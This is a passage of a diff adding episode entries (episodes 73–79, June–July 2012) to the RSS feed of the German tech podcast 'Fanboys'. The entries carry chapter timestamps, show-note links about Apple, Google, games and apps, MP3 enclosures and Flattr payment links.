+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2379&amp;user_id=map&amp;title=Fanboys%20Episode%2079&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#79:" />
+ </item>
+ <item>
+ <title>Episode #78 - Netzhipster</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Netzhipster</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN078.mp3" length="35296488" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN078</guid>
+ <pubDate>Fri, 20 Jul 2012 23:32:58 +0200</pubDate>
+ <itunes:duration>01:13:23</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:07 Mit Marcel
+00:00:16 und Martin
+00:00:41 Tiny Wings
+00:03:53 Marissa Mayer wir Yahoo CEO
+00:10:20 dearmarissamayer.com
+00:13:01 Firefox 15 mit Opus
+00:20:45 Durch die Nacht mit Jason Rohrer
+00:29:42 Express 01
+00:34:39 Marian Call
+00:36:13 Instacast Kritik
+00:40:33 iPhoto Versionen
+00:43:05 Online Office
+00:45:23 iOS Programmieren ohne Macs?
+00:46:26 Schutzfolien
+00:48:51 Jailbreak
+00:53:09 Netzwerkprobleme
+00:57:20 Mediaserver
+01:02:08 Marcels lustige Tipp-Kiste
+01:04:24 Chirp
+01:09:27 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:07</td><td>Mit Marcel</td></tr><tr><td>00:00:16</td><td>und Martin</td></tr><tr><td>00:00:41</td><td>Tiny Wings</td></tr><tr><td>00:03:53</td><td><a href="http://dealbook.nytimes.com/2012/07/16/googles-marissa-mayer-tapped-as-yahoos-chief/?hp&amp;pagewanted=all" target="_blank">Marissa Mayer wir Yahoo CEO</td></tr><tr><td>00:10:20</td><td><a href="http://dearmarissamayer.com" target="_blank">dearmarissamayer.com</td></tr><tr><td>00:13:01</td><td><a href="https://hacks.mozilla.org/2012/07/firefox-beta-15-supports-the-new-opus-audio-format/" target="_blank">Firefox 15 mit Opus</td></tr><tr><td>00:20:45</td><td><a href="http://www.youtube.com/watch?v=zA_0_dSD3-Q" target="_blank">Durch die Nacht mit Jason Rohrer</td></tr><tr><td>00:29:42</td><td><a href="https://www.spiele-offensive.de/index.php?cmd=spieleschmiede&amp;cfid=1" target="_blank">Express 01</td></tr><tr><td>00:34:39</td><td><a href="http://www.mariancalladventurequest.com" target="_blank">Marian Call</td></tr><tr><td>00:36:13</td><td>Instacast Kritik</td></tr><tr><td>00:40:33</td><td>iPhoto Versionen</td></tr><tr><td>00:43:05</td><td>Online Office</td></tr><tr><td>00:45:23</td><td>iOS Programmieren ohne Macs?</td></tr><tr><td>00:46:26</td><td>Schutzfolien</td></tr><tr><td>00:48:51</td><td>Jailbreak</td></tr><tr><td>00:53:09</td><td>Netzwerkprobleme</td></tr><tr><td>00:57:20</td><td>Mediaserver</td></tr><tr><td>01:02:08</td><td>Marcels lustige Tipp-Kiste</td></tr><tr><td>01:04:24</td><td><a href="http://itunes.apple.com/gb/app/chirp/id529469280?mt=8" target="_blank">Chirp</td></tr><tr><td>01:09:27</td><td><a href="http://www.youtube.com/watch?v=MokNvbiRqCM" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:07" title="Mit Marcel" />
+ <sc:chapter start="00:00:16" title="und Martin" />
+ <sc:chapter start="00:00:41" title="Tiny Wings" />
+ <sc:chapter start="00:03:53" title="Marissa Mayer wir Yahoo CEO" href="http://dealbook.nytimes.com/2012/07/16/googles-marissa-mayer-tapped-as-yahoos-chief/?hp&amp;pagewanted=all" />
+ <sc:chapter start="00:10:20" title="dearmarissamayer.com" href="http://dearmarissamayer.com" />
+ <sc:chapter start="00:13:01" title="Firefox 15 mit Opus" href="https://hacks.mozilla.org/2012/07/firefox-beta-15-supports-the-new-opus-audio-format/" />
+ <sc:chapter start="00:20:45" title="Durch die Nacht mit Jason Rohrer" href="http://www.youtube.com/watch?v=zA_0_dSD3-Q" />
+ <sc:chapter start="00:29:42" title="Express 01" href="https://www.spiele-offensive.de/index.php?cmd=spieleschmiede&amp;cfid=1" />
+ <sc:chapter start="00:34:39" title="Marian Call" href="http://www.mariancalladventurequest.com" />
+ <sc:chapter start="00:36:13" title="Instacast Kritik" />
+ <sc:chapter start="00:40:33" title="iPhoto Versionen" />
+ <sc:chapter start="00:43:05" title="Online Office" />
+ <sc:chapter start="00:45:23" title="iOS Programmieren ohne Macs?" />
+ <sc:chapter start="00:46:26" title="Schutzfolien" />
+ <sc:chapter start="00:48:51" title="Jailbreak" />
+ <sc:chapter start="00:53:09" title="Netzwerkprobleme" />
+ <sc:chapter start="00:57:20" title="Mediaserver" />
+ <sc:chapter start="01:02:08" title="Marcels lustige Tipp-Kiste" />
+ <sc:chapter start="01:04:24" title="Chirp" href="http://itunes.apple.com/gb/app/chirp/id529469280?mt=8" />
+ <sc:chapter start="01:09:27" title="Rausschmeisser" href="http://www.youtube.com/watch?v=MokNvbiRqCM" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2378&amp;user_id=map&amp;title=Fanboys%20Episode%2078&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#78:" />
+ </item>
+ <item>
+ <title>Episode #77 - Da…DAMM</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Da…DAMM</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN077.mp3" length="29182372" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN077</guid>
+ <pubDate>Fri, 13 Jul 2012 23:05:58 +0200</pubDate>
+ <itunes:duration>01:00:39</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Dominik
+00:00:13 Marcel
+00:00:38 und Martin
+00:01:03 Apple und EPEAT
+00:06:01 Indesign Schmerzen
+00:10:02 Retina DisplayMenu
+00:14:16 Ouya
+00:20:22 Unglue
+00:27:42 Amazon Same-Day Delievery
+00:33:53 Passwortschwund
+00:37:12 Steam Summer Sale
+00:38:09 Diablo 3
+00:43:31 The Big Big Castle!
+00:45:09 Tales of Monkey Island iPad
+00:49:37 Tweetbot for Mac
+00:50:29 Twitter for iPhone
+00:51:54 Tiny Wings 2
+00:54:40 Tiny Wings HD
+00:59:10 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:13</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:38</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:03</td><td><a href="http://www.apple.com/environment/letter-to-customers/" target="_blank">Apple und EPEAT</td></tr><tr><td>00:06:01</td><td>Indesign Schmerzen</td></tr><tr><td>00:10:02</td><td><a href="http://www.reddit.com/r/apple/comments/vi9yf/set_your_retina_macbook_pros_resolution_to/" target="_blank">Retina DisplayMenu</td></tr><tr><td>00:14:16</td><td><a href="http://www.kickstarter.com/projects/ouya/ouya-a-new-kind-of-video-game-console" target="_blank">Ouya</td></tr><tr><td>00:20:22</td><td><a href="https://unglue.it" target="_blank">Unglue</td></tr><tr><td>00:27:42</td><td><a href="http://www.slate.com/articles/business/small_business/2012/07/amazon_same_day_delivery_how_the_e_commerce_giant_will_destroy_local_retail_.html" target="_blank">Amazon Same-Day Delievery</td></tr><tr><td>00:33:53</td><td><a href="http://blog.eset.se/statistics-about-yahoo-leak-of-450-000-plain-text-accounts/" target="_blank">Passwortschwund</td></tr><tr><td>00:37:12</td><td><a href="http://store.steampowered.com" target="_blank">Steam Summer Sale</td></tr><tr><td>00:38:09</td><td><a href="http://www.diablo3.com" target="_blank">Diablo 3</td></tr><tr><td>00:43:31</td><td><a href="http://itunes.apple.com/app/the-big-big-castle!/id515771744?mt=8" target="_blank">The Big Big Castle!</td></tr><tr><td>00:45:09</td><td><a href="http://itunes.apple.com/us/app/monkey-island-tales-1-hd/id406248957?mt=8" target="_blank">Tales of Monkey Island iPad</td></tr><tr><td>00:49:37</td><td><a href="http://tapbots.com/blog/tweetbot/tweetbot-for-mac" target="_blank">Tweetbot for Mac</td></tr><tr><td>00:50:29</td><td><a href="http://itunes.apple.com/us/app/twitter/id333903271?mt=8" target="_blank">Twitter for iPhone</td></tr><tr><td>00:51:54</td><td><a href="http://itunes.apple.com/us/app/tiny-wings/id417817520?mt=8" target="_blank">Tiny Wings 2</td></tr><tr><td>00:54:40</td><td><a href="http://itunes.apple.com/en/app/tiny-wings-hd/id541517597?mt=8" target="_blank">Tiny Wings HD</td></tr><tr><td>00:59:10</td><td><a href="http://www.youtube.com/watch?v=xpcUxwpOQ_A&amp;feature=g-like" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:13" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:38" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:03" title="Apple und EPEAT" href="http://www.apple.com/environment/letter-to-customers/" />
+ <sc:chapter start="00:06:01" title="Indesign Schmerzen" />
+ <sc:chapter start="00:10:02" title="Retina DisplayMenu" href="http://www.reddit.com/r/apple/comments/vi9yf/set_your_retina_macbook_pros_resolution_to/" />
+ <sc:chapter start="00:14:16" title="Ouya" href="http://www.kickstarter.com/projects/ouya/ouya-a-new-kind-of-video-game-console" />
+ <sc:chapter start="00:20:22" title="Unglue" href="https://unglue.it" />
+ <sc:chapter start="00:27:42" title="Amazon Same-Day Delievery" href="http://www.slate.com/articles/business/small_business/2012/07/amazon_same_day_delivery_how_the_e_commerce_giant_will_destroy_local_retail_.html" />
+ <sc:chapter start="00:33:53" title="Passwortschwund" href="http://blog.eset.se/statistics-about-yahoo-leak-of-450-000-plain-text-accounts/" />
+ <sc:chapter start="00:37:12" title="Steam Summer Sale" href="http://store.steampowered.com" />
+ <sc:chapter start="00:38:09" title="Diablo 3" href="http://www.diablo3.com" />
+ <sc:chapter start="00:43:31" title="The Big Big Castle!" href="http://itunes.apple.com/app/the-big-big-castle!/id515771744?mt=8" />
+ <sc:chapter start="00:45:09" title="Tales of Monkey Island iPad" href="http://itunes.apple.com/us/app/monkey-island-tales-1-hd/id406248957?mt=8" />
+ <sc:chapter start="00:49:37" title="Tweetbot for Mac" href="http://tapbots.com/blog/tweetbot/tweetbot-for-mac" />
+ <sc:chapter start="00:50:29" title="Twitter for iPhone" href="http://itunes.apple.com/us/app/twitter/id333903271?mt=8" />
+ <sc:chapter start="00:51:54" title="Tiny Wings 2" href="http://itunes.apple.com/us/app/tiny-wings/id417817520?mt=8" />
+ <sc:chapter start="00:54:40" title="Tiny Wings HD" href="http://itunes.apple.com/en/app/tiny-wings-hd/id541517597?mt=8" />
+ <sc:chapter start="00:59:10" title="Rausschmeisser" href="http://www.youtube.com/watch?v=xpcUxwpOQ_A&amp;feature=g-like" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2377&amp;user_id=map&amp;title=Fanboys%20Episode%2077&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#77:" />
+ </item>
+ <item>
+ <title>Episode #76 - Brommberry</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Brommberry</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN076.mp3" length="47353984" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN076</guid>
+ <pubDate>Fri, 06 Jul 2012 09:48:29 +0200</pubDate>
+ <itunes:duration>01:38:31</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:17 Mit Tim
+00:00:20 Marcel
+00:00:30 und Martin
+00:01:17 Google Now
+00:02:48 RIM geht es super
+00:06:12 iPhone Sucht
+00:08:33 Superfav
+00:23:11 Marcels Tipp der Woche
+00:26:15 Netzteilkabelabknickdiskussion
+00:28:53 Twitter Suche filtert
+00:32:56 Zurker
+00:36:21 Podcast App
+00:56:33 Bitlove
+01:03:11 Podlove
+01:07:55 iPad Mini
+01:18:52 Die Zukunftâ„¢
+01:33:16 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:17</td><td><a href="http://twitter.com/timpritlove" target="_blank">Mit Tim</td></tr><tr><td>00:00:20</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:30</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:17</td><td><a href="http://www.google.com/landing/now/" target="_blank">Google Now</td></tr><tr><td>00:02:48</td><td><a href="http://www.cbc.ca/news/business/story/2012/07/03/toronto-rim-heins.html" target="_blank">RIM geht es super</td></tr><tr><td>00:06:12</td><td>iPhone Sucht</td></tr><tr><td>00:08:33</td><td><a href="http://superfav.com" target="_blank">Superfav</td></tr><tr><td>00:23:11</td><td>Marcels Tipp der Woche</td></tr><tr><td>00:26:15</td><td>Netzteilkabelabknickdiskussion</td></tr><tr><td>00:28:53</td><td><a href="http://search.twitter.com" target="_blank">Twitter Suche filtert</td></tr><tr><td>00:32:56</td><td><a href="http://www.zdf.de/ZDF/zdfportal/web/heute-Nachrichten/4672/23260866/aebde0/Genossenschaft-2.0-Facebook-Alternative-Zurker-.html" target="_blank">Zurker</td></tr><tr><td>00:36:21</td><td><a href="http://itunes.apple.com/de/app/podcasts/id525463029?mt=8" target="_blank">Podcast App</td></tr><tr><td>00:56:33</td><td><a href="http://der-lautsprecher.de/ls008-bitlove/" target="_blank">Bitlove</td></tr><tr><td>01:03:11</td><td><a href="http://podlove.org" target="_blank">Podlove</td></tr><tr><td>01:07:55</td><td><a href="http://online.wsj.com/article/SB10001424052970204795304577222354104574994.html" target="_blank">iPad Mini</td></tr><tr><td>01:18:52</td><td>Die Zukunftâ„¢</td></tr><tr><td>01:33:16</td><td><a href="http://www.youtube.com/watch?v=qJlbPXZEpRE" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:17" title="Mit Tim" href="http://twitter.com/timpritlove" />
+ <sc:chapter start="00:00:20" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:30" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:17" title="Google Now" href="http://www.google.com/landing/now/" />
+ <sc:chapter start="00:02:48" title="RIM geht es super" href="http://www.cbc.ca/news/business/story/2012/07/03/toronto-rim-heins.html" />
+ <sc:chapter start="00:06:12" title="iPhone Sucht" />
+ <sc:chapter start="00:08:33" title="Superfav" href="http://superfav.com" />
+ <sc:chapter start="00:23:11" title="Marcels Tipp der Woche" />
+ <sc:chapter start="00:26:15" title="Netzteilkabelabknickdiskussion" />
+ <sc:chapter start="00:28:53" title="Twitter Suche filtert" href="http://search.twitter.com" />
+ <sc:chapter start="00:32:56" title="Zurker" href="http://www.zdf.de/ZDF/zdfportal/web/heute-Nachrichten/4672/23260866/aebde0/Genossenschaft-2.0-Facebook-Alternative-Zurker-.html" />
+ <sc:chapter start="00:36:21" title="Podcast App" href="http://itunes.apple.com/de/app/podcasts/id525463029?mt=8" />
+ <sc:chapter start="00:56:33" title="Bitlove" href="http://der-lautsprecher.de/ls008-bitlove/" />
+ <sc:chapter start="01:03:11" title="Podlove" href="http://podlove.org" />
+ <sc:chapter start="01:07:55" title="iPad Mini" href="http://online.wsj.com/article/SB10001424052970204795304577222354104574994.html" />
+ <sc:chapter start="01:18:52" title="Die Zukunftâ„¢" />
+ <sc:chapter start="01:33:16" title="Rausschmeisser" href="http://www.youtube.com/watch?v=qJlbPXZEpRE" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2376&amp;user_id=map&amp;title=Fanboys%20Episode%2076&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#76:" />
+ </item>
+ <item>
+ <title>Episode #75 - Runde Kugel</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Runde Kugel</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN075.mp3" length="39833226" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN075</guid>
+ <pubDate>Sat, 30 Jun 2012 00:30:41 +0200</pubDate>
+ <itunes:duration>01:22:50</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:08 Mit Dominik
+00:00:11 Marcel
+00:00:14 und Martin
+00:03:15 Santa Cruz
+00:05:11 Bob Mansfield
+00:08:29 Google IO
+00:09:42 Project Butter
+00:13:17 Search Result Cards
+00:14:34 Offline Maps und Voice
+00:15:41 Android vs. iOS
+00:19:24 Google Now
+00:22:02 Nexus 7
+00:26:52 Nexus Q
+00:30:52 Chrome iOS
+00:33:27 Google+ News
+00:39:12 Google Glass
+00:41:38 Hornbrillen mit Klebestreifen
+00:42:46 Was ist eigentlich mit … passiert?
+00:46:46 MacBook Pro
+01:00:07 Podcast.app
+01:17:30 CSS Hat
+01:19:30 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:08</td><td><a href="http://twitter.com/monkeydom" target="_blank">Mit Dominik</td></tr><tr><td>00:00:11</td><td><a href="http://twitter.com/zeitweise" target="_blank">Marcel</td></tr><tr><td>00:00:14</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:03:15</td><td><a href="http://www.hans-im-glueck.de/santa-cruz/" target="_blank">Santa Cruz</td></tr><tr><td>00:05:11</td><td><a href="http://daringfireball.net/linked/2012/06/29/mansfield" target="_blank">Bob Mansfield</td></tr><tr><td>00:08:29</td><td><a href="https://developers.google.com/events/io/" target="_blank">Google IO</td></tr><tr><td>00:09:42</td><td>Project Butter</td></tr><tr><td>00:13:17</td><td>Search Result Cards</td></tr><tr><td>00:14:34</td><td>Offline Maps und Voice</td></tr><tr><td>00:15:41</td><td>Android vs. iOS</td></tr><tr><td>00:19:24</td><td><a href="http://www.google.com/landing/now/" target="_blank">Google Now</td></tr><tr><td>00:22:02</td><td><a href="http://www.google.com/nexus/" target="_blank">Nexus 7</td></tr><tr><td>00:26:52</td><td><a href="http://www.google.com/nexus/" target="_blank">Nexus Q</td></tr><tr><td>00:30:52</td><td>Chrome iOS</td></tr><tr><td>00:33:27</td><td>Google+ News</td></tr><tr><td>00:39:12</td><td><a href="http://www.youtube.com/watch?v=hxmbbtuRszA" target="_blank">Google Glass</td></tr><tr><td>00:41:38</td><td>Hornbrillen mit Klebestreifen</td></tr><tr><td>00:42:46</td><td>Was ist eigentlich mit … passiert?</td></tr><tr><td>00:46:46</td><td>MacBook Pro</td></tr><tr><td>01:00:07</td><td><a href="http://itunes.apple.com/de/app/podcasts/id525463029?mt=8" target="_blank">Podcast.app</td></tr><tr><td>01:17:30</td><td><a href="http://csshat.com" target="_blank">CSS Hat</td></tr><tr><td>01:19:30</td><td><a href="http://www.youtube.com/watch?v=Noe95IxpsiQ" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:08" title="Mit Dominik" href="http://twitter.com/monkeydom" />
+ <sc:chapter start="00:00:11" title="Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:14" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:03:15" title="Santa Cruz" href="http://www.hans-im-glueck.de/santa-cruz/" />
+ <sc:chapter start="00:05:11" title="Bob Mansfield" href="http://daringfireball.net/linked/2012/06/29/mansfield" />
+ <sc:chapter start="00:08:29" title="Google IO" href="https://developers.google.com/events/io/" />
+ <sc:chapter start="00:09:42" title="Project Butter" />
+ <sc:chapter start="00:13:17" title="Search Result Cards" />
+ <sc:chapter start="00:14:34" title="Offline Maps und Voice" />
+ <sc:chapter start="00:15:41" title="Android vs. iOS" />
+ <sc:chapter start="00:19:24" title="Google Now" href="http://www.google.com/landing/now/" />
+ <sc:chapter start="00:22:02" title="Nexus 7" href="http://www.google.com/nexus/" />
+ <sc:chapter start="00:26:52" title="Nexus Q" href="http://www.google.com/nexus/" />
+ <sc:chapter start="00:30:52" title="Chrome iOS" />
+ <sc:chapter start="00:33:27" title="Google+ News" />
+ <sc:chapter start="00:39:12" title="Google Glass" href="http://www.youtube.com/watch?v=hxmbbtuRszA" />
+ <sc:chapter start="00:41:38" title="Hornbrillen mit Klebestreifen" />
+ <sc:chapter start="00:42:46" title="Was ist eigentlich mit … passiert?" />
+ <sc:chapter start="00:46:46" title="MacBook Pro" />
+ <sc:chapter start="01:00:07" title="Podcast.app" href="http://itunes.apple.com/de/app/podcasts/id525463029?mt=8" />
+ <sc:chapter start="01:17:30" title="CSS Hat" href="http://csshat.com" />
+ <sc:chapter start="01:19:30" title="Rausschmeisser" href="http://www.youtube.com/watch?v=Noe95IxpsiQ" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2375&amp;user_id=map&amp;title=Fanboys%20Episode%2075&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#75:" />
+ </item>
+ <item>
+ <title>Episode #74 - Zune-ig</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Zune-ig</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN074.mp3" length="38112697" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN074</guid>
+ <pubDate>Sat, 23 Jun 2012 00:51:38 +0200</pubDate>
+ <itunes:duration>01:19:15</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:09 Mit Marcel
+00:00:12 und Martin
+00:01:02 Marcel und das Longphone
+00:02:51 MacBook Pro Retina
+00:16:57 WWDC Aussensicht
+00:21:17 Microsoft Surface
+00:34:18 Nintendo 3DS XL
+00:37:17 Gmail darf wieder Gmail heissen
+00:38:54 Leistungsschutzrecht
+00:51:44 Recoilwinders
+00:54:46 Limbo
+00:56:45 Where the Hell is Matt? 2012
+00:58:30 Tabula Tabs
+01:01:55 Magic 2013
+01:05:57 superfav - yay or nay?
+01:16:24 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:09</td><td><a href="http://twitter.com/zeitweise" target="_blank">Mit Marcel</td></tr><tr><td>00:00:12</td><td><a href="http://twitter.com/map" target="_blank">und Martin</td></tr><tr><td>00:01:02</td><td>Marcel und das Longphone</td></tr><tr><td>00:02:51</td><td><a href="http://www.apple.com/de/macbook-pro/" target="_blank">MacBook Pro Retina</td></tr><tr><td>00:16:57</td><td>WWDC Aussensicht</td></tr><tr><td>00:21:17</td><td><a href="http://www.microsoft.com/surface/en/us/default.aspx" target="_blank">Microsoft Surface</td></tr><tr><td>00:34:18</td><td><a href="http://www.heise.de/newsticker/meldung/Nintendo-veroeffentlicht-XL-Variante-der-3DS-Konsole-1623709.html" target="_blank">Nintendo 3DS XL</td></tr><tr><td>00:37:17</td><td><a href="http://www.heise.de/newsticker/meldung/Aus-Googlemail-wird-in-Deutschland-wieder-Gmail-1621540.html" target="_blank">Gmail darf wieder Gmail heissen</td></tr><tr><td>00:38:54</td><td><a href="http://www.irights.info/userfiles/RefE%20LSR.pdf" target="_blank">Leistungsschutzrecht</td></tr><tr><td>00:51:44</td><td><a href="http://recoilwinders.com/" target="_blank">Recoilwinders</td></tr><tr><td>00:54:46</td><td><a href="http://en.wikipedia.org/wiki/Limbo_(video_game)" target="_blank">Limbo</td></tr><tr><td>00:56:45</td><td><a href="http://www.youtube.com/watch?v=Pwe-pA6TaZk" target="_blank">Where the Hell is Matt? 2012</td></tr><tr><td>00:58:30</td><td><a href="http://tabulatabs.com" target="_blank">Tabula Tabs</td></tr><tr><td>01:01:55</td><td><a href="http://itunes.apple.com/de/app/magic-2013/id502588466?mt=8&amp;ign-mpt=uo%3D2" target="_blank">Magic 2013</td></tr><tr><td>01:05:57</td><td><a href="http://superfav.com" target="_blank">superfav - yay or nay?</td></tr><tr><td>01:16:24</td><td><a href="http://www.youtube.com/watch?v=j7lp3RhzfgI" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:09" title="Mit Marcel" href="http://twitter.com/zeitweise" />
+ <sc:chapter start="00:00:12" title="und Martin" href="http://twitter.com/map" />
+ <sc:chapter start="00:01:02" title="Marcel und das Longphone" />
+ <sc:chapter start="00:02:51" title="MacBook Pro Retina" href="http://www.apple.com/de/macbook-pro/" />
+ <sc:chapter start="00:16:57" title="WWDC Aussensicht" />
+ <sc:chapter start="00:21:17" title="Microsoft Surface" href="http://www.microsoft.com/surface/en/us/default.aspx" />
+ <sc:chapter start="00:34:18" title="Nintendo 3DS XL" href="http://www.heise.de/newsticker/meldung/Nintendo-veroeffentlicht-XL-Variante-der-3DS-Konsole-1623709.html" />
+ <sc:chapter start="00:37:17" title="Gmail darf wieder Gmail heissen" href="http://www.heise.de/newsticker/meldung/Aus-Googlemail-wird-in-Deutschland-wieder-Gmail-1621540.html" />
+ <sc:chapter start="00:38:54" title="Leistungsschutzrecht" href="http://www.irights.info/userfiles/RefE%20LSR.pdf" />
+ <sc:chapter start="00:51:44" title="Recoilwinders" href="http://recoilwinders.com/" />
+ <sc:chapter start="00:54:46" title="Limbo" href="http://en.wikipedia.org/wiki/Limbo_(video_game)" />
+ <sc:chapter start="00:56:45" title="Where the Hell is Matt? 2012" href="http://www.youtube.com/watch?v=Pwe-pA6TaZk" />
+ <sc:chapter start="00:58:30" title="Tabula Tabs" href="http://tabulatabs.com" />
+ <sc:chapter start="01:01:55" title="Magic 2013" href="http://itunes.apple.com/de/app/magic-2013/id502588466?mt=8&amp;ign-mpt=uo%3D2" />
+ <sc:chapter start="01:05:57" title="superfav - yay or nay?" href="http://superfav.com" />
+ <sc:chapter start="01:16:24" title="Rausschmeisser" href="http://www.youtube.com/watch?v=j7lp3RhzfgI" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%2374&amp;user_id=map&amp;title=Fanboys%20Episode%2074&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#74:" />
+ </item>
+ <item>
+ <title>Episode #73 - Mr Goatsye</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Mr Goatsye</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN073.mp3" length="38954049" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN073</guid>
+ <pubDate>Tue, 12 Jun 2012 22:43:48 +0200</pubDate>
+ <itunes:duration>01:21:01</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:01:18 Anstehen
+00:05:28 Siri spricht zu den Entwicklern
+00:07:14 Imagefilm
+00:12:31 Inhaltsangabe
+00:13:53 Neue MacBooks Air
+00:17:32 Neue MacBooks Pro
+00:19:43 Next-Gen MacBook Pro
+00:20:53 Kurze Gotye Pause
+00:22:13 Retinadisplay
+00:34:36 Lion
+00:38:23 Powernap
+00:42:17 Safari
+00:43:59 iOS6
+00:45:00 Siri
+00:49:13 3D Maps
+00:52:25 Google Rivalität
+00:54:25 Phone Features
+01:00:38 Passbook
+01:12:12 Apple Design Awards
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
